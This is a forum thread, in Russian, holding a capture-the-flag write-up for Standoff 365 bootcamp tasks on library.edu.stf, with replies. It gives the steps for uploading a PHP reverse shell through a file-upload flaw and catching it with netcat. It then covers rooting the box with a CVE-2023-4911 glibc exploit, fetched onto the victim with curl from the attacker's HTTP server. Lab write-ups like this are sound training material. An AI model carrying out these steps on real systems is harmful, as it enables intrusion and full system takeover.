PDA

Просмотр полной версии : [WriteUp] web-1-1 web-1-2 library.edu.stf | Standoff 365


Archivist
04.10.2024, 15:54
CTF reference: Bootcamp (standoff365.com)

Сontents:
Web-1-1
-Step 1: Preparing
-Step 2: Gathering information
-Step 3: Attack
Web-1-2

Web-1-1
Step 1: Preparing

используем команду и добавляем следующие записи


sudo nano /etc/hosts


Код:



10.124.1.231 aircraft.edu.stf
10.124.1.232 calculator.edu.stf
10.124.1.233 library.edu.stf
10.124.1.234 wp.edu.stf
10.124.1.235 www.edu.stf
10.124.1.236 gallery.edu.stf
10.124.1.237 utils.edu.stf
10.124.1.238 shop.edu.stf
10.124.1.239 tokenizer.edu.stf
10.124.1.240 bind.edu.stf
10.124.1.241 smashmusic.edu.stf
10.124.1.242 test-webserver.edu.stf
10.124.1.253 vpn.edu.stf



Step 2: Gathering information

Переходим на страницу http://library.edu.stf/
и видим сылку на либу(нижний правый угол ), переходим на нее
Попадаем на следующий страничку с интерфейсом загрузки файлов.

https://forum.antichat.xyz/attachments/29114665/1728023546672.png

Так зная что это за уязвимость(в названии задания php upload ) я сразу загуглил (это файл стандартный файл что можно использовать в таких рода заданиях)


reverse shell php

in google
answer: GitHub - pentestmonkey/php-reverse-shell

Почему php? потому что расширение в браузере показывает какие есть языки на веб сервере

https://forum.antichat.xyz/attachments/29114665/1728023815740.png

Далее следует скопировать файл, используя удобный способ, по следующему адресу:
php-reverse-shell.php.После загрузки файла откройте его для ознакомления .
Обратите внимание, что необходимо изменить значения IP-адреса и порта на свои собственные. Чтобы узнать свой IP-адрес, выполните команду ip a .
(И смотрим значение tun0 Так как нам нужно значение нашего айпи в ВПН(tun0 как раз и будет нашим впн), это важно)

https://forum.antichat.xyz/attachments/29114665/1728023947448.png

В значении порт указывает тот порт что мы будем слушать через команду

rlwrap nc -lnvp YOUR PORT

или

nc -lnvp YOUR PORT



Step 3: Attack
Теперь нужно провести нашу атаку.
(Перед атакой, вам нужно настроить burp proxy На вашей машинке . Погуглите. )
Перехватываем запрос на загрузку файлов. и меняем сдедующие параметры

https://forum.antichat.xyz/attachments/29114665/1728024464000.png

Подробнее об уязвимостях этого функционала можно прочитать здесь:


https://portswigger.net/web-security/file-upload (здесь можно выполнять задания по этой теме)

https://book.hacktricks.xyz/pentesting-web/file-upload
После загрузки

Теперь нам нужно было запустить(выполнить) наш скрипт. Я нашел на сайте обычную картинку, посмотрел ее URL и понял, где искать свой файл.

В адресной строке я увидел что-то вроде:

http://library.edu.stf/wp-content/ch1.png


Изучив данный Url я получил представление где искать наши(-у) картинки

http://library.edu.stf/wp-content/shell33.php

Преждем чем его вызвать не забудьте включить
nc -lnvp 4545
(4545 это порт что был в нашем скрипте)

Если вы все сделали правильно то вы увидите

https://forum.antichat.xyz/attachments/29114665/1728024900750.png

Далее по заданию запускаем скрипт и получаем флаг


./home/rceflag



web-1-2 Lpe

Повышение привилегий на линукс довольная большая тема, и проверяемая различные векторы атак я наткнулся на нужный нам

Проверяем версию


ldd --version


Вывод будет примерно таким:

Код:



ldd (Ubuntu GLIBC 2.35-0ubuntu3.4) 2.35
Copyright (C) 2022 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.
There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A
PARTICULAR PURPOSE.
Written by Roland McGrath and Ulrich Drepper.


Загуглив

ldd 2.35 cve poc


Нашел следующий эксплоит CVE-2023-4911
Проверьте, находится ли версия glibc в диапазоне от 2.34 до 2.39. Если да, то ваш сервер уязвим.
(не скину ссылку на уязвимость так как той которой я пользовался.... была удаленна с gihub ... печально )

После того как вы нашли нужный poc его стоит скачать на вашу машину , а после и на машину жертвы
Запускаем питон сервер на нашей машине, в той же папке и где наш эксплоит


python3 -m http.server 4646


На машине жертвы :
переходим в каталог /var/www/html/wordpress
Используем Curl -O Для скачивания и флаг -O для сохранения этих файлов


curl -O http://:4646/exp.c



curl -O http://:4646/libc.py


Выдаем права за запуск всем файлам


chmod +x *


По инструкции с github запускам


python3 libc.py


и компилим наш эксплоит


gcc exp.c -o exp


Даллее запускаем


./exp


если все прошло успешно проверям наши права через команду Id


id uid=0(root) gid=33(www-data) groups=33(www-data)


И запускаем последний скрипт для получения второго файла


./home/lpeflag

Let us Play Football
03.12.2024, 17:46
$ python3 gen_libc.py
Traceback (most recent call last):
File "/var/www/html/wordpress/gen_libc.py", line 3, in
from pwn import *
ModuleNotFoundError: No module named 'pwn'

how to solve this problem?

Archivist
03.12.2024, 18:26
Hey,

I noticed that you are using an exploit called 'gen_libc.py'. This script requires the 'pwn' library, which is missing from the victim's machine. In my article, I utilized a different script.
The photo below will show which one I used (GitHub - hadrian3689/looney-tunables-CVE-2023-4911)

https://forum.antichat.xyz/attachments/29115688/1733235792166.png

If you're unable to do that, consider the following options:

Look for an alternative exploit.

Request a restart of the machine on the platform.

Generate the library on your own machine and then transfer it to the victim's machine.

Местный
03.12.2024, 20:21
Давай больше райтапов по standoff, пожалуйста

OxDEADBEEF
06.12.2024, 16:10
Let us Play Football сказал(а):

$ python3 gen_libc.py
Traceback (most recent call last):
File "/var/www/html/wordpress/gen_libc.py", line 3, in
from pwn import *
ModuleNotFoundError: No module named 'pwn'

how to solve this problem?


pip install pwntools, pwn